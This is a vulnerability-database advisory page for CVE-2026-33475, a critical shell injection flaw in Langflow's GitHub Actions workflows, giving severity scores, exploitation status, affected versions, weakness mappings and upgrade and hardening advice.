VulnerabilityPublished 24 Mar 2026

CVE-2026-33475: langflow · Injection

Affects langflowSource CVE Database V5

Compare

Not known to be exploited · CVSS 9.1 Critical : upgrade to 1.9.0 as a priority.

Data as of 30 Oct 2026, 11:52 UTC

CVSS 3.1 base score

9.1Critical

How severe the flaw is on the 0–10 CVSS scale.

EPSS: 3.1% chance of exploitation in 30 days – higher than 87% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch: Available – fixed in 1.9.0

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
User Interaction: None
Scope: Unchanged
Confidentiality: High
Integrity: High
Availability: None

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed, up to and including the entire Internet. Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.
User Interaction: None: The vulnerable system can be exploited without any interaction from any user.
Scope: Unchanged: An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Confidentiality: High: There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact.
Integrity: High: There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability: None: There is no impact to availability within the impacted component.

Definitions: FIRST CVSS v3.1 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 24 Mar 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: evidence found.
Public exploit code: GitHub proofs of concept
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), GitHub proofs of concept, the Metasploit, Exploit-DB and nuclei-templates index as of 30 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponized: A Metasploit exploit module or Exploit-DB entry exists (Metasploit scanner modules do not count), or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade langflow and langflow-ai/langflow to 1.9.0.

Affected software

Product	Affected	Fixed in
langflow-ailangflow	Affected <1.9.0	Fixed in 1.9.0
GitHublangflow-ai/langflow`pkg:github/langflow-ai/langflow`Other threats	Affected <1.9.0	Fixed in 1.9.0

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

AI-suggested

To mitigate this vulnerability, organizations and developers should immediately upgrade Langflow to version 1.9.0 or later, where the issue is patched. For existing workflows, refactor GitHub Actions to avoid direct interpolation of user-controlled variables in `run:` shell commands. Instead, assign these variables to environment variables and use double quotes to ensure proper escaping, for example:

```yaml env: BRANCH_NAME: ${{ github.head_ref }} run: | echo "Branch is: \"$BRANCH_NAME\"" ```

Additionally, implement the following best practices: - Validate and sanitize all user inputs, including branch names and PR titles, before usage in workflows. - Restrict permissions of CI tokens like `GITHUB_TOKEN` to the minimum necessary scope. - Monitor GitHub Actions logs and workflow runs for unusual activity or unexpected commands. - Use branch protection rules and require code reviews to reduce risk from malicious branches. - Consider isolating sensitive workflows or secrets from public forks or untrusted contributors. - Regularly audit CI/CD pipelines for injection risks and update dependencies promptly.

These steps help prevent injection attacks and protect the integrity of the software supply chain.

Description

CVE-2026-33475 is a critical unauthenticated remote shell injection vulnerability in the langflow-ai Langflow project prior to version 1.9.0. It arises from improper neutralization of special elements in GitHub Actions workflows, where user-controlled GitHub context variables like branch names or pull request titles are directly interpolated into shell commands without sanitization. Attackers can exploit this by crafting malicious branch names or PR titles to inject arbitrary shell commands during CI/CD execution, leading to exfiltration of sensitive secrets such as GITHUB_TOKEN, manipulation of infrastructure, or supply chain compromise. The vulnerability affects multiple workflow files and actions within the Langflow repository. The fix involves refactoring workflows to use environment variables with proper quoting instead of direct interpolation. Given the high CVSS score of 9.1, this vulnerability poses a severe risk to any public Langflow forks with GitHub Actions enabled.

Impact

The impact of CVE-2026-33475 is severe for organizations using Langflow or its forks with GitHub Actions enabled. Exploitation allows unauthenticated attackers to execute arbitrary shell commands in the CI environment, leading to full compromise of CI secrets such as `GITHUB_TOKEN`. This token often grants permissions to push code, create releases, or access other repository resources, enabling attackers to tamper with the software supply chain by injecting malicious code, pushing compromised artifacts, or altering deployment pipelines. The breach of confidentiality can expose sensitive infrastructure details and credentials. Integrity is compromised as attackers can manipulate build and release processes. Although availability impact is low, the overall effect on trustworthiness and security of the development lifecycle is critical. Organizations relying on Langflow for AI workflows or integrating it into their CI/CD pipelines face risks of supply chain attacks, data leaks, and unauthorized infrastructure access. Public forks and open-source contributors are particularly vulnerable since the attack vector leverages user-controlled inputs like branch names and PR titles. This vulnerability underscores the importance of secure CI/CD practices and input sanitization in automated workflows.

CWE-74Improper Neutralization of Special Elements in Output Used by a Downstream Component (Injection) (opens in a new tab)
Class weaknessLikelihood of exploit: HighOWASP Top 10 A05:2025: Injection (opens in a new tab)
The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component.
MITRE discourages mapping vulnerabilities to this broad entry; the root cause is usually a more specific weakness.
Requirements
Programming languages and supporting technologies might be chosen which are not subject to these issues.
Implementation
Utilize an appropriate mix of allowlist and denylist parsing to filter control-plane syntax from all input.
OWASP Cheat Sheets
Abuse Case (opens in a new tab)
Deserialization (opens in a new tab)
Injection Prevention (opens in a new tab)
SQL Injection Prevention (opens in a new tab)
Injection Prevention in Java (opens in a new tab)
OWASP ASVS 4.0.3
V1.5.1 (opens in a new tab)
Attack patterns
Buffer Overflow via Environment Variables (opens in a new tab)
Server Side Include (SSI) Injection (opens in a new tab)
HTTP Request Splitting (opens in a new tab)
Command Line Execution through SQL Injection (opens in a new tab)
Double Encoding (opens in a new tab)
From MITRE CWE, MITRE CAPEC and OWASP (Top 10, OpenCRE).
CWE-78Improper Neutralization of Special Elements used in an OS Command (OS Command Injection) (opens in a new tab)
Base weaknessLikelihood of exploit: HighCWE Top 25 (2025): #9OWASP Top 10 A05:2025: Injection (opens in a new tab)
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command before it is sent to a downstream component.
Architecture and Design
If at all possible, use library calls rather than external processes to recreate the desired functionality.
Architecture and Design · Operation · Sandbox or Jail
Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
Architecture and Design · Attack Surface Reduction
For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.
OWASP Cheat Sheets
Injection Prevention (opens in a new tab)
Injection Prevention in Java (opens in a new tab)
OS Command Injection Defense (opens in a new tab)
Abuse Case (opens in a new tab)
Deserialization (opens in a new tab)
OWASP ASVS 4.0.3
V12.3.5 (opens in a new tab)
V5.3.8 (opens in a new tab)
V1.5.1 (opens in a new tab)
Attack patterns
Command Line Execution through SQL Injection (opens in a new tab)
Command Delimiters (opens in a new tab)
Exploiting Multiple Input Interpretation Layers (opens in a new tab)
Argument Injection (opens in a new tab)
OS Command Injection (opens in a new tab)
From MITRE CWE, MITRE CAPEC and OWASP (Top 10, OpenCRE).

References

github.com/langflow-ai/langflow/security/advisories/GHSA-87cc-65ph-2j4w (opens in a new tab)

Community reviews

Loading reviews…

Exploitation evidence

What to do

Affected software

Description

AI analysisMachine-generated, updated 31 Mar 2026, 20:28 UTC

Public exploits and detectionGitHub proofs of concept

WeaknessesCWE-74, CWE-78

Technical details

References

Community reviews

Related threats